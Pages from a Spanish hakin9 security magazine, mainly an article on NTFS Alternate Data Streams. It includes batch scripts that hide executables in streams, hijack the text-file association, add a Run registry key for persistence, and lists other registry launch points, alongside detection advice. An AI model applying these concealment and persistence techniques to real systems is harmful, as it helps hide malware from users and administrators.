reales, todo lo contrario,<br />

si deseamos darle la capacidad de<br />

digitalizar lotes de documentos en<br />

papel, estos propotipos son la base<br />

para construir soluciones de mayor<br />

alcance.<br />

Figura 4. Escaneando documentos desde OpenOffice<br />

Aplicaciones Open<br />

Source base a usar<br />

Las aplicaciones base Open<br />

Source que podemos usar están<br />

monstradas en Listado 1. Existen<br />

otras aplicaciones y/o APIs que<br />

nos permiten desarrollar aplicaciones<br />

desde del scratch y que son<br />

bastante usadas, pero en nuestra<br />

propuesta únicamente las mencionamos<br />

(Listado 2).<br />

Conclusiones<br />

La única aplicación Open Source<br />

con capacidades de escaneo y<br />

con capacidades de firma digital<br />

es la suite OpenOffice.<br />

El resto de opciones son herramientas<br />

para el escaneo o bien para<br />

el tratamiento de imágenes, en<br />

cualquier caso, es fácil incorporar<br />

funcionalidades de firma digital y<br />

validación.<br />

Las funcionalidades de reconocimiento<br />

de caracteres viene incluído<br />

como plug-in en muchas de las herramientas<br />

de escaneo como XSA-<br />

NE, gscan2PDF, etc. De cualquier<br />

forma, también es una funcionalidad<br />

62 www.<strong>hakin9</strong>.org/es<br />

Sobre el Autor<br />

Roger Carhuatocto es un Ingeniero<br />

de Sistemas de Perú, especializado<br />

en Seguridad.<br />

Ha trabajado en Organizaciones<br />

Españolas de Tecnología de Seguridad,<br />

Integradoras y especializadas<br />

en Open Source, además de frecuente<br />

Expositor en temas de Seguridad<br />

en España, Perú, Venezuela y<br />

Argentina.<br />

Actualmente se desempeña<br />

como IT Security Consultant en<br />

Hewlett-Packard Española. Roger<br />

es un entusiasta de la Seguridad<br />

desde la perspectiva de Negocio y<br />

Tecnología, tiene una visión Holistica<br />

de la Seguridad, ha establecido<br />

relación entre QA y Seguridad.<br />

Actualmente trabaja en la relación<br />

entre Seguridad-Confianza<br />

con la Usabilidad y Accesabilidad,<br />

además de la influencia con temas<br />

de Human-computer Interaction<br />

(HCI), User Experience (UX) y Web<br />

2.0.<br />

Podéis contactar con él en: http:<br />

//www.linkedin.com/in/rcarhuatocto<br />

fácil de integrar sobre soluciones que no tienen dicha funcionalidad. En cada<br />

país existe regulación específica<br />

que aborda temas de digitalización<br />

de documentos en papel, entrada o<br />

registro de documentos, etc., regulación<br />

que indica que los documentos<br />

digitales, resultado de un proceso<br />

de digitalización tiene total validez<br />

como si se tratase del papel.<br />

El uso de certificados digitales<br />

permite el cumpliento de requerimientos<br />

especiales de esta<br />

regulación. Un problema común<br />

cuando se digitaliza documentos<br />

es la rapidez en la adquisición via el<br />

escaneo. Lo conveniente, siempre y<br />

cuando se digitalice lotes grandes<br />

de documentos que siguen algún<br />

patrón estructural, es usar una cámara<br />

digital en lugar del scanner.<br />

La velocidad de adquisición de una<br />

cámara fotográfica es muy superior<br />

al scanner. En esta situación la interfase<br />

de comunicación con el dispositivo<br />

no usará SANE ni TWAIN,<br />

usará el que defina el fabricante de<br />

la cámara. Hablaremos de este estándar<br />

en otro artículo. l


Doctor Jekyll y Mr.<br />

Hyde versión NTFS<br />

Laic Aurelian<br />

La característica principal de esta funcionalidad<br />

es la invisibilidad. Cuando<br />

leemos el contenido de un fichero, accedemos<br />

únicamente al stream principal de ese<br />

fichero. Cualquier otro stream asociada a un<br />

fichero es invisible a la mayoría de las utilidades<br />

de gestión de archivos como Windows Explorer<br />

o el comando Dir de MS-DOS. Muchos<br />

especialistas han mostrado sus quejas por esta<br />

funcionalidad porque un virus puede explotarla<br />

y, sin embargo, muy poca gente la utiliza en su<br />

beneficio.NTFS apoya las secuencias de datos<br />

múltiples, donde el nombre de la corriente<br />

identifica una nueva cualidad de los datos en<br />

el archivo. Una manija se puede abrir en cada<br />

secuencia de datos. Una secuencia de datos,<br />

entonces, es un sistema único de cualidades<br />

del archivo. Las corrientes tienen cerraduras<br />

opportunistic separadas, cerraduras del archivo,<br />

y tamaños, pero permisos comunes.Los<br />

usuarios malévolos se aprovechan de secuencias<br />

de datos de NTFS almacenando un virus<br />

o un Trojan en tu sistema. Los empleados<br />

pueden abusar de esto ocultando gráficos o<br />

datos detrás de archivos de texto, del etc. Uso<br />

de ADS permite al usuario entre otros: visualizar<br />

el contenido del stream como texto en un<br />

64 www.<strong>hakin9</strong>.org/es<br />

Este artículo trata sobre<br />

Alternate Data Streams.<br />

Comparándola con la<br />

estaganografía clásica, esta<br />

técnica oculta documentos<br />

asociándolos como un stream<br />

en otro documento. La principal<br />

ventaja es que el documento es<br />

completamente invisible pero<br />

lo asociado como un stream en<br />

otro documento sólo puede ser<br />

transferido a otra unidad NTFS.<br />

cuadro de texto o usando una utilidad de texto<br />

(Wordpad para Windows), extraer el contenido<br />

de un stream y abrirlo usando un programa<br />

asociado, borrar un stream o todos los streams<br />

asociados a un fichero, inyectar un fichero como<br />

ADS en otro fichero y más.<br />

Basta de teoría, practiquemos<br />

En los próximos ejemplos, usaremos algunos<br />

scripts de MS-DOS y Visual Basic. Antes que<br />

nada, una aclaración: el nombre ADS incluye<br />

En este articulo aprenderás<br />

• Cómo usar ADS y ocultar algunos documentos<br />

importantes, passwords.<br />

• Cómo asociar un programa de monitorización<br />

por ejemplo: un key-logger.<br />

Lo que deberías saber<br />

• Cómo utilizar métodos como Vb scripts, batch<br />

scripts o Notepad o lenguajes de programación<br />

avanzados como C#, C++ o VB.<br />

• Cómo usar característica de NTFS honestamente<br />

explotando la invisibilidad de ADS.


el nombre del fichero original, el<br />

carácter “:” y el nombre ADS. Por<br />

ejemplo:<br />

C:\Test\FileName.txt:StreamName.txt<br />

Donde FileName.txt es la cadena principal<br />

y StreamName.txt es el ADS.<br />

• Para todos los ejemplos futuros<br />

usaremos una nueva carpeta<br />

donde guardaremos todos los<br />

fichero y scripts. En mis ejemplos<br />

usaré la carpeta c:\TestADS. Para<br />

probar estos ejemplos, crearos<br />

una carpeta nueva y practicad con<br />

ella. Si le habéis dado un nombre<br />

diferente, sustituidlo con el nombre<br />

de la vuestra.<br />

• En el primer ejemplo os mostraré<br />

cómo crear un stream usando Notepad<br />

y el comando ejecutar:<br />

Click Inicio, y luego click Ejecutar.En<br />

Abrir, escribiremos el siguiente comando:<br />

Notepad.exe C:\TestADS\<br />

FileName.txt:StreamName.txt<br />

Nos aparecerá un cuadro de mensaje<br />

preguntándonos si queremos crear un<br />

nuevo fichero. Pulsamos Sí y voila,<br />

habéis creado vuestro primer ADS.<br />

Escribid algún texto en el documento<br />

y cerradlo. Confirmad que queréis salvar<br />

los cambios. Ahora, con Windows<br />

Explorer, abrid el fichero C:\TestADS\<br />

NombreFichero.txt daos cuenta de que<br />

el tamaño del fichero es de 0 bytes.<br />

Observaréis un fichero en blanco. Para<br />

editar el ADS debéis abrirlo usando<br />

también el comando Ejecutar. Si usáis<br />

el comando Abrir del Notepad y ponéis<br />

la dirección:<br />

C:\TestADS\Filename.txt:StreamName.txt<br />

os saldrá un mensaje de error. Por tanto,<br />

pulsad Inicio y después Ejecutar.<br />

La ventana os mostrará los elementos<br />

recientes. Escribid<br />

C:\TestADS\Filename.txt:StreamName.txt<br />

en el cuadro de diálogo o seleccionadlo<br />

de la lista y pulsad OK para<br />

abrirlo. Escribid algún texto, guardad<br />

el documento y cerradlo. El fichero C:<br />

\TestADS\Filename.txt todavía pesa 0<br />

bytes, pero la fecha de modificación<br />

ha cambiado.<br />

• Como ya mencioné anteriormente,<br />

se pueden asociar streams no sólo<br />

a ficheros sino también a carpetas.<br />

Para asociar una cadena a una carpeta<br />

seguiremos los mismos pasos<br />

que en el caso de un fichero:<br />

Click en Inicio , y luego haced click en<br />

Ejecutar En Abrir, escribid el siguiente<br />

comando:<br />

Notepad.exe C:\TestADS:NewStream.txt<br />

Nos aparecerá un cuadro con un<br />

mensaje preguntándonos si queremos<br />

crear un nuevo fichero. Presionad<br />

Sí y voila, ya habéis creado<br />

vuestro primer ADS asociado a una<br />

carpeta. Escribid algún texto en el<br />

documento y guardadlo. Confirmad<br />

que queréis guardar los cambios.<br />

En Windows Explorer, haced click<br />

derecho sobre la carpeta C:\TestADS y<br />

seleccionad propiedades. La carpeta<br />

todavía tiene un tamaño de 0 bytes.<br />

• Otra forma sencilla de crear ADS<br />

es desde la consola de comandos.<br />

Click en Inicio, luego haced click<br />

en ejecutar y escribid cmd.exe.<br />

Escribid en la consola<br />

ECHO This is my second<br />

stream>C:\TestADS\<br />

Filename.txt:stream2.txt<br />

Como trabajamos desde la consola<br />

de commandos, también compro-<br />

Listado 1. Script de MS-DOS<br />

www.<strong>hakin9</strong>.org/es<br />

Alternate Data Streams<br />

Figura 1. El fichero de TestADS<br />

baremos el tamaño de nuestro<br />

directorio.Teclead Dir C:\TestADS y<br />

obtendremos un tamaño de 0 bytes y<br />

dentro del mismo un único fichero de<br />

0 bytes. Tras esta larga introducción,<br />

tratemos de sacar unas primeras conclusiones:<br />

• Invisibilidad: El comando Dir,<br />

Windows Explorer y muchos<br />

otros programas no verán el<br />

ADS. El ADS está oculto a la<br />

vista. Es más, el comando DEL<br />

no funcionará con ADS.<br />

• Un ADS puede ser aplicado a<br />

cualquier tipo de fichero, desde<br />

un ejecutable hasta un simple<br />

fichero de texto.<br />

• Hay varios métodos para iniciar<br />

un programa/documento oculto<br />

como ADS.<br />

• Utilizando ADS podemos ocultar<br />

gran cantidad de información.<br />

• Podemos asociar un número ilimitado<br />

de ADS a un fichero.<br />

• ADS no afecta a la funcionalidad,<br />

tamaño o visualización de<br />

las utilidades tradicionales de<br />

navegación como Dir o Windows<br />

Explorer.<br />

Type %SystemRoot%\system32\calc.EXE>c:\TestADS\Filename.txt:calc.exe<br />

Type %SystemRoot%\system32\NOTEPAD.EXE>c:\TestADS\Filename.txt:NOTEPAD.exe<br />

reg delete HKCR\txtfile\shell\open\command /f<br />

reg add HKCR\txtfile\shell\open\command /ve /t REG_EXPAND_SZ /d c:\TestADS\<br />

Filename.txt:calc.exe /f<br />

pause<br />

ECHO Now try to open a text document. You should see Windows calculator opened<br />

ECHO Press any key to restore registry<br />

reg add HKCR\txtfile\shell\open\command /ve /t REG_EXPAND_SZ /d “%SystemRoot%\<br />

system32\NOTEPAD.EXE %1” /f<br />

65


kit<br />

Figura 2. El comando Type<br />

• Podemos asociar ADS tanto a<br />

ficheros como a directorios.<br />

• Sólo podemos asociar streams en<br />

NTFS.<br />

• Si movemos un fichero con ADS<br />

a un sistema de ficheros FAT y lo<br />

devolvemos a una unidad NTFS, el<br />

ADS será eliminado.<br />

El lado oscuro de ADS<br />

• Un ADS puede ser prácticamente<br />

cualquier tipo de fichero, desde<br />

in ejecutable hasta un fichero de<br />

texto. Además, NTFS permite<br />

asociar ADS a cualquier fichero o<br />

carpeta.<br />

• Un modo muy simple de crear un<br />

virus que use ADS es reemplazar<br />

el fichero ejecutable original por<br />

otro ejecutable el virus y asociarle<br />

el ejecutable original como ADS al<br />

virus. Tras renombrar el virus con<br />

el nombre del ejecutable original<br />

habremos terminado el trabajo.<br />

Cuando el usuario lo ejecute,<br />

lanzará el virus y el virus a su vez<br />

iniciará el programa original.<br />

• Otro método utilizado por los<br />

creadores de virus es esconder el<br />

propio virus como ADS. Hay varios<br />

métodos para lanzar el virus desde<br />

un ADS sin extraerlo – Usando el<br />

comando Start, modificando el re-<br />

Listado 2.Lineas de código<br />

gistro para que se lance con el OS.<br />

Hay muchos métodos para iniciar<br />

directamente un programa oculto<br />

en un ADS.<br />

• Un tercer método que podría ser<br />

utilizado por un creador de virus<br />

(y no el último) es ocultar la mayor<br />

parte del código del virus en un<br />

ADS y mantener un prqueño ejecutable<br />

que extraiga el virus.<br />

• Sólo se conocen unos pocos virus<br />

que exploten la funcionalidad ADS<br />

en NTFS pero el daño potencial<br />

es inmenso. Hay también muchas<br />

otra formas de explotar ADS para<br />

crear un virus.<br />

• En los ejemplos siguientes trataremos<br />

de ver cómo se puede<br />

utilizar ADS para crear contenido<br />

peligroso para el ordenador (El<br />

Lado Oscuro de esta funcionalidad).<br />

Después crearemos<br />

algunos ejemplos que mostrarán<br />

El Lado Bueno y aprenderemos<br />

a utilizar esta funcionalidad en<br />

nuestro beneficio. Para una mejor<br />

comprensión, no utilizaré ningún<br />

lenguaje de programación<br />

específico como C# o VB. En los<br />

ejemplos siguientes usaremos<br />

MS-DOS para crear algunos<br />

scripts batch. Los virus Batch no<br />

son comunes, pero estad prevenidos<br />

porque sí que existen y es<br />

posible escribir un fichero batch<br />

que contenga un virus.<br />

Aviso: algunos ejemplos cambian algunas<br />

claves del registro y usan algunas<br />

técnicas avanzadas que podrían<br />

dañar vuestro sistema. Si se diera el<br />

caso, deberíais hacer una copia de<br />

Copy %SystemRoot%\system32\Notepad.EXE C:\TestADS\Notepad.exe<br />

Type %SystemRoot%\system32\calc.EXE>c:\TestADS\Notepad.exe:calc.exe<br />

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v MyFile /t<br />

REG_SZ /d c:\TestADS\Notepad.exe:calc.exe<br />

shutdown -r -f -t 15<br />

Listado 3. Borrar la clave MyFile<br />

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run<br />

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices<br />

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce<br />

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce<br />

66 www.<strong>hakin9</strong>.org/es<br />

seguridad de todos los datos importantes<br />

del ordenador antes de intentar<br />

estos ejemplos.<br />

• Nuestro primer ejemplo mostrará<br />

cómo reemplazar un ejecutable<br />

por otro y hacer otras cosillas.<br />

Ejemplo 1<br />

Iniciad el Notepad y escribid el código<br />

que viene a continuación. Guardad<br />

el fichero como Script1.bat en vuestra<br />

carpeta TestADS y luego ejecutadlo<br />

(doble click sobre él o usad la<br />

consola para abrirlo). Minimizad la<br />

ventana de la consola y tratad de<br />

abrir cualquier fichero de texto. Deberíais<br />

ver aparecer la calculadora y<br />

no el Notepad. El comando Type asocia<br />

dos ADS al fichero que habíamos<br />

creado anteriormente Filename.txt. En<br />

este caso se trata de las utilidades Notepad<br />

y Calculadora de Windows. La<br />

tercera línea borra la clave de registro<br />

que asocia la apertura de ficheros de<br />

texto con el Notepad. La cuarta línea<br />

añade una nueva clave de regstro<br />

que asocia la apertura de ficheros de<br />

texto con uno de nuestros programas<br />

asociados como ADS la calculadora.<br />

El comando Pause nos da un respiro<br />

para comprobar lo que hemos hecho.<br />

Por último el script restaurará la antigua<br />

clave del registro para los ficheros<br />

de texto. En este ejemplo, he reemplazado<br />

el notepad.exe por un inocente<br />

ejecutable oculto pero un atacante<br />

real podría inyectarnos un virus realmente<br />

peligroso con cuatro simples<br />

líneas de código. Y ese virus podría<br />

lanzarse cada vez que abrís un documento<br />

de texto, e incluso podría lanzar<br />

el Notepad al mismo tiempo para no<br />

levantar sospechas! Y ese script batch<br />

podría borrarse a sí mismo usando un<br />

comando como: Del script1.bat<br />

Ejemplo 2<br />

Iniciad el Notepad y después escribid<br />

el código que viene a continuación.<br />

Guardad el archivo como Script2.bat<br />

en vuestro directorio TestADS y luego<br />

ejecutadlo (doble click sobre él mismo<br />

o abridlo desde la consola). Reiniciad<br />

el ordenador. Tras el reinicio deberíais<br />

ver la calculadora ejecuándose (Daos<br />

cuenta de que esta no es la calculado-


a real, es un stream asociado a una<br />

copia del Notepad desde nuestro directorio<br />

de pruebas). Aviso: Cierra las<br />

demás aplicaciones y guarda todo el<br />

trbajo antes de ejecutar este ejemplo<br />

porque reiniciará la máquina y perderás<br />

el trabajo!<br />

La primera línea copiará el programa<br />

Notepad desde la carpeta Windows<br />

a nuestro directorio de pruebas.<br />

La segunda línea asociará Calc.exe a<br />

nuestra copia de Notepad. La tercera<br />

línea añadirá una clave de registro<br />

para iniciar nuestro ADS directamente<br />

con Windows y la cuarta reiniciará el<br />

ordenador en 15 segundos. Tras ejecutar<br />

este ejemplo copiad la siguiente<br />

línea en un nuevo script batch y ejecútalo<br />

para borrar la calve de registro:<br />

reg delete HKLM\SOFTWARE\Microsoft\<br />

Windows\CurrentVersion\Run\MyFile /f<br />

O usa la utilidad Regedit para borrar la<br />

clave MyFile de:<br />

HKEY_LOCAL_MACHINE\<br />

SOFTWARE\Microsoft\<br />

Windows\CurrentVersion\Run<br />

En este ejemplo vemos que un ejecutable<br />

oculto puede ser lanzado<br />

cada vez que reiniciamos el sistema<br />

y esto es también un comportamiento<br />

peligroso porque una vez que un programa<br />

maliciose se ha instalado como<br />

Figura 3. Script de Visual Basic<br />

Listado 4. Ejemplo para ficheros de texto<br />

ADS en nuestro sistema, podría lanzarse<br />

automáticamente cuando se inicia<br />

Windows. También observad que<br />

para este trabajo bastan tres líneas de<br />

código copy, type y reg add. Un ataque<br />

hacker típico en un sistema Windows<br />

sigue cuatro pasos para conseguir su<br />

objetivo:<br />

• Crear una herramienta de hacking<br />

que ayude a atacar el sistema objetivo.<br />

• Instalar la herramienta<br />

Ocultar la herramienta en el sistema<br />

infiltrado con el fin de prevenir la detección<br />

por parte del administrador del<br />

sistema Ejecutar la herramienta cuando<br />

se inicia el sistema o cuando un determinado<br />

documento/ejecutable es<br />

abierto. Lo que realmente hace ADS<br />

muy peligroso es el hecho de que ofre-<br />

www.<strong>hakin9</strong>.org/es<br />

Alternate Data Streams<br />

HKEY_CLASSES_ROOT\exefile\shell\open\command<br />

Se abrirá cuando cualquier fichero exe se ejecute<br />

Otros métodos similares<br />

HKEY_CLASSES_ROOT\comfile\shell\open\command<br />

HKEY_CLASSES_ROOT\batfile\shell\open\command<br />

HKEY_CLASSES_ROOT\htafile\Shell\Open\command<br />

HKEY_CLASSES_ROOT\piffile\shell\open\command<br />

HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\open\command<br />

HKEY_LOCAL_MACHINE\Software\CLASSES\comfile\shell\open\command<br />

HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command<br />

HKEY_LOCAL_MACHINE\Software\CLASSES\htafile\Shell\Open\command<br />

HKEY_LOCAL_MACHINE\Software\CLASSES\piffile\shell\open\command<br />

ce soporte para los tres últimos pasos.<br />

La capacidad de mezclar ficheros<br />

de datos en ficheros existentes sin<br />

afectar a su funcionalidad, tamaña<br />

o visualización en las utilidades de<br />

navegación tradicionales como Dir o<br />

Windows Explorer podría transformar<br />

ADS en una peligrosa herramienta para<br />

un hacker. Es más, la capacidad de<br />

almacenar una gran cantidad de datos<br />

hacen ADS ideal para programs maliciosos<br />

de recogida de información.<br />

Y, por si todo esto no fuera suficiente,<br />

los ADS son extremadamente fáciles<br />

de crear, muy difíciles de detectar y<br />

requieren pocas o ninguna habilidad<br />

por parte del hacker. Hemos visto que<br />

los ejecutables maliciosos son muy fáciles<br />

de ocultar, pero lo que realmente<br />

nos dio razones para preocuparnos es<br />

que los ejecutables ocultos son muy<br />

fáciles de lanzar de una larga lista de<br />

maneras, sin los problemas derivados<br />

de tener extraerlos primero.<br />

Y otro motivo de preocupación:<br />

No podemos desactivar el ADS en un<br />

sistema NTFS. La solución: rastrear<br />

manualmente archivos y carpetas con<br />

el fin de detectar la presencia de ADS<br />

usando programas como lads.exe<br />

http://www.heysoft.de. Opcionalmente,<br />

utilizar una solución que verifique la<br />

integridad de nuestros archivos podría<br />

protegernos contra ADS no autorizado.<br />

Además, debemos verificar todos<br />

los programas que se inician automáticamente.<br />

Cualquier carácter : en la<br />

ruta podría ser sospechosa (excepto<br />

el carácter separador de unidades).<br />

Una ruta con la siguiente forma:<br />

C:\Windows\explorer.exe<br />

:explorer.exe<br />

67


kit<br />

Es más que sospechosa cuando la<br />

encuentras en una clave de registro<br />

como:<br />

HKEY_LOCAL_MACHINE\<br />

Software\Microsoft\Windows\<br />

CurrentVersion\Run<br />

Formas de lanzar ejecutables (la mayoría<br />

de ellos funcionan con ejecutables<br />

ocultos en ADS)<br />

Algunos de estos métodos ya fueron<br />

mostrados en ejemplos aneriores.<br />

Usando accesos directos en el<br />

escritorio. Usando el programador de<br />

tareas. Añadiendo una entrada a la<br />

Carpeta de inicio de Windows<br />

Cambiar la asociación del tipo<br />

de archivo. Si veis que hay un ligero<br />

retardo cuando se inicia un programa<br />

podéis verificar qué programa está<br />

asociado con esa extensión de archivo<br />

(mirad uno de los ejemplos anteriores<br />

cuando cambiamos el programa<br />

para los ficheros de texto) Ejemplo<br />

para ficheros de texto:<br />

HKEY_CLASSES_ROOT\txtfile\shell\open\<br />

command<br />

Usando el registro. Hay varios métodos,<br />

aquí están sólo algunos de ellos:<br />

Método Explorer<br />

Windows carga explorer.exe durante<br />

el arranque. Normalmente este fichero<br />

se encuentra en el directorio Windows.<br />

Sin embargo, si existe c:\explorer.exe,<br />

será ejecutado en lugar de C:\Windows\<br />

explorer.exe. La presencia de un<br />

fichero llamado c:\explorer.exe será<br />

sospechosa. Al contrario que con<br />

otros métodos, no hay necesidad de<br />

cambios en ficheros o en registro<br />

– simplemente el fichero tiene que<br />

llamarse c:\explorer.exe. El nombre<br />

del fichero que sigue a explorer.exe<br />

se iniciará cuando se inicie Windows.<br />

Método Exe file: Cualquier comando<br />

incluido en Método Batch File: Windo-<br />

Figura 4. La consola de comandos<br />

ws ejecuta todas las instrucciones del<br />

fichero Winstart.bat, localizado en la<br />

carpeta Windows. Ficheros de inicialización:<br />

Windows ejecuta instrucciones<br />

en las líneas “Run=” o “Load=” del<br />

fichero Win.ini, situado en el directorio<br />

Windows (o WinNT).<br />

También hay muchos otros métodos<br />

para iniciar un código malicioso al<br />

inicio por lo que no es mala idea verificar<br />

qué programas se lanzar al inicio!<br />

Recuerda que la mayoría de estos<br />

métodos funcionan con ejecutables<br />

ocultos en ADS.<br />

Conclusión<br />

NTFS permite la existencia de cadenas<br />

de datos alternativas asociadas a ficheros,<br />

pero invisibles a muchas utilidades<br />

de gestión de archivos. Un virus puede<br />

explotar esta funcionalidad. Modificando<br />

el registro como en los ejemplos anteriores,<br />

cambiando accesos directos<br />

en el escritorio o añadiendo elementos<br />

a la carpeta Inicio de Windows, hay<br />

muchas formas de lanzar ejecutables.<br />

Además, crear ADS es muy fácil y<br />

podemos utilizar métodos como Vb<br />

scripts, batch scripts o Notepad como<br />

en los ejemplos anteriores o lenguajes<br />

de programación avanzados como C#,<br />

C++ o VB. Teniendo en cuenta todo esto,<br />

, el lado oscuro de ADS, desde el punto<br />

de vista del uso de ADS con fines maliciosos,<br />

podría ser un peligro real para<br />

la seguridad del sistema. Actualmente,<br />

hay pocos virus que utilicen ADS para<br />

ocultarse, pero en el futro este tipo de<br />

malware podría aumentar significativamente.<br />

Soluciones y algunos consejos:<br />

Rastrear los sistemas en busca de<br />

ADS usando utilidades como lads.exe.<br />

Podéis descargar la última versión<br />

desde http://www.heysoft.de (cuando<br />

escribí este artículo era la 4.10).Este<br />

programa freeware lista todos los<br />

ADS en un directorio NTFS. En Microsoft<br />

Vista existe una opción en el<br />

comando Dir (\r) para visualizar ADS<br />

de un fichero. No la he probado, pero<br />

68 www.<strong>hakin9</strong>.org/es<br />

parece útl. Usa antivirus con soporte<br />

ADS! Comprueba qué programas se<br />

lanzan al inicio! Microsoft debe añadir<br />

la posibilidad de detectar y ver ADS<br />

para Windows Explorer y el intérprete<br />

de comandos. En este momento existe<br />

un complemento que tiene que ser<br />

instalado por separado para poder ver<br />

ADS en Windows Explorer (he leído<br />

sobre ello, lo intenté descargar de la<br />

web de Microsoft pero no lo encontré;<br />

nuestros lectores podrían intentar encontrar<br />

strmext.dll. Quizá ellos tengan<br />

más suerte).<br />

La parte buena de ADS<br />

• Todos los ejemplos anteriores<br />

muestran cuán malo es ADS si<br />

es usado por código maligno.<br />

Pero veamos la parte buena.<br />

Podemos usar esta característica<br />

de NTFS honestamente<br />

explotando la invisibilidad de<br />

ADS con fines muy diversos:<br />

• Podemos prevenir el borrado<br />

accidental de ficheros asociándolos<br />

a un fichero/directorio de<br />

sistema o a un ejecutable que<br />

sea menos probable que vayamos<br />

a borrar.<br />

• Podemos ocultar algunos<br />

documentos importantes, passwords,<br />

etc. Especialmente en<br />

equipos con más de un usuario.<br />

Daos cuenta de que si ocultáis<br />

documentos importantes<br />

usando ADS debéis usar antes<br />

un programa de cifrado para cifrar<br />

el contenido; no basta con<br />

ocultar el documento!<br />

• Podemos asociar un programa<br />

de monitorización, un key-logger<br />

u otro programa similar en una<br />

inocente carpeta.<br />

• Pueden encontrarse muchos otros<br />

usos, depende de nuestra creatividad.<br />

Comparándola con la estaganografía<br />

clásica, esta técnica (ocultar documentos<br />

asociándolos como un stream<br />

en otro documento) presenta a la vez<br />

ventajas y desventajas. La principal<br />

desventaja es que un documento asociado<br />

como stream en otro documento<br />

sólo puede ser transferido a otra uni-


Sobre el Autor<br />

Laic Aurelian es Ingeniero Rumano<br />

independiente, revelador de software<br />

para este numero de Hakin9 ( MyADS).<br />

Por más informaciones ver páginas:<br />

http://www.stegano.ro, http://xidie.ro.<br />

dad NTFS. Si lo transferimos a una<br />

unidad FAT se perderá el contenido.<br />

Pero la principal ventaja es que el<br />

documento es completamente invisible;<br />

al contrario que con la esteganografía<br />

clásica, ADS no modifica el<br />

tamaño del fichero portador. En este<br />

momento no hay muchos programas<br />

que utilicen ADS como método de<br />

estaganografía; sólo conozco uno:<br />

Xidie Security Suite, un programa<br />

freeware desarrollado por el autor<br />

de este artículo. En el futuro, cuando<br />

esta funcionalidad de NTFS sea<br />

conocida por más desarrolladores<br />

aparecerán más programas que<br />

guardarán vuestros valiosos datos<br />

usando ADS.<br />

Ejemplo 3<br />

El tercer ejemplo muestra cómo<br />

crear un simple texto ADS usando<br />

VB scripts.<br />

Listado 5. Uso de VB script para creación y acceso ADS<br />

‘Start code<br />

Option Explicit<br />

' Ask for a file name<br />

Dim File_Name<br />

File_Name = InputBox("Enter the file name where to attach", "ADS using VB",<br />

"C:\TestADS\Filename.txt")<br />

If File_Name = "" Then WScript.Quit<br />

'Verify if selected file rezide in a NTFS drive<br />

Dim fso, drv<br />

Set fso = CreateObject("Scripting.FileSystemObject")<br />

Set drv = fso.GetDrive(fso.GetDriveName(File_Name))<br />

If drv.FileSystem "NTFS" Then<br />

WScript.Quit<br />

End If<br />

' Ask for the stream to be written<br />

Dim Stream_Name<br />

Stream_Name = InputBox("Enter the stream name", "ADS using VB", "My first<br />

stream")<br />

If Stream_Name = "" Then WScript.Quit<br />

' Creates the file if it doesn't exist<br />

Dim Text_Stream<br />

If Not fso.FileExists(File_Name) Then<br />

Set Text_Stream = fso.CreateTextFile(File_Name)<br />

Text_Stream.CloseEnd If<br />

' Try to read the current content of the stream (if exist)<br />

Dim FileStream_Name, Stream_Text<br />

FileStream_Name = File_Name & ":" & Stream_Name<br />

If Not fso.FileExists(FileStream_Name) Then<br />

Stream_Text = "My stream using VB"<br />

Else<br />

Set Text_Stream = fso.OpenTextFile(FileStream_Name)<br />

Stream_Text = Text_Stream.ReadAll()<br />

Text_Stream.Close<br />

End If<br />

' Ask for the content of the stream to be written<br />

Stream_Text = InputBox("Enter the content of the stream", "ADS using VB",<br />

Stream_Text)<br />

If Stream_Text = "" Then WScript.Quit<br />

' Try to write to the stream<br />

Set Text_Stream = fso.CreateTextFile(FileStream_Name)<br />

Text_Stream.Write Stream_Text<br />

' Close the app<br />

Set Text_Stream = Nothing<br />

Set fso = Nothing<br />

WScript.Quit‘End code<br />

www.<strong>hakin9</strong>.org/es<br />

Alternate Data Streams<br />

Algunos consejos útiles<br />

Cómo borrar ADS de un fichero/<br />

directorio:<br />

Método 1:<br />

• mueve el archivo/directorio a una<br />

unidad FAT y devuélvelo a una<br />

unidad NTFS<br />

Método 2:<br />

• Abre el ADS con el Notepad (Click<br />

en Inicio, click en Ejecutar y en<br />

cuadro pon el siguiente comando)<br />

Notepad.exe C:\MyImportantFile:<br />

ADS.exe<br />

Donde C:\MyImportantFile es la ruta<br />

del fichero/directorio y ADS.exe es<br />

el nombre del ADS.exe asociado a<br />

la calculadora de Windows. Selecciona<br />

y borra todo el contenido del<br />

fichero.<br />

Cierra el Notepad. Te preguntará si<br />

quieres guardar los cambios y respondes<br />

Sí. Cómo asociar un ejecutable a<br />

otro fichero:<br />

• type c:\executable.exe > c:\<br />

another _ file:executable.exe<br />

Cómo iniciar un ejecutable oculto en<br />

otro fichero:<br />

• Start c:\another _ file:executable<br />

.exe<br />

Cómo poner texto en ADS:<br />

• type c:\ textfile.txt > c:\<br />

another _ file:ADS.txt<br />

Cómo visualizar texto desde un ADS:<br />

• More >c:\another _ file:ADS.txt<br />

Cómo añadir otro documento de texto<br />

a un ADS existente:<br />

• Type C:\NewText.txt >>c:\<br />

another _ file:ADS.txt l<br />

69


USB Payload<br />

– el gadget más<br />

potente del agente 007<br />

Yago F. Hansen<br />

A<br />

todos los que nos dedicamos a la auditoría<br />

de sistemas, nos suelen gustar<br />

los gadgets, tales como piezas de<br />

software o bien equipos electrónicos (pdas,<br />

teléfonos móviles, sensores...). Solemos disfrutar<br />

con cada una de las nuevas características<br />

o funciones que incorporan hasta que<br />

las acabamos conociendo al límite.<br />

Esto es básicamente lo que me paso con<br />

los USB payload: un gadget formado por un<br />

pendrive USB (preferiblemente que cumpla<br />

el standard U3) y gran cantidad de herramientas<br />

de hacking en su interior. Desde la<br />

aparición de los primeros pendrive, todos los<br />

que nos dedicamos a esto coleccionábamos<br />

utilidades de este tipo en su interior, pero lo<br />

que ha cambiado ahora drásticamente es la<br />

forma de empaquetar y lanzar esas herramientas<br />

hacia los sistemas víctima.<br />

Ahora siempre llevo encima mi pendrive<br />

U3, con una distribución USB payload que<br />

he utilizado en muchas ocasiones, no solo<br />

con fines de auditoría de seguridad, sino<br />

como la forma más rápida de recabar información<br />

del equipo que voy a revisar para<br />

solucionar sus problemas de seguridad, o<br />

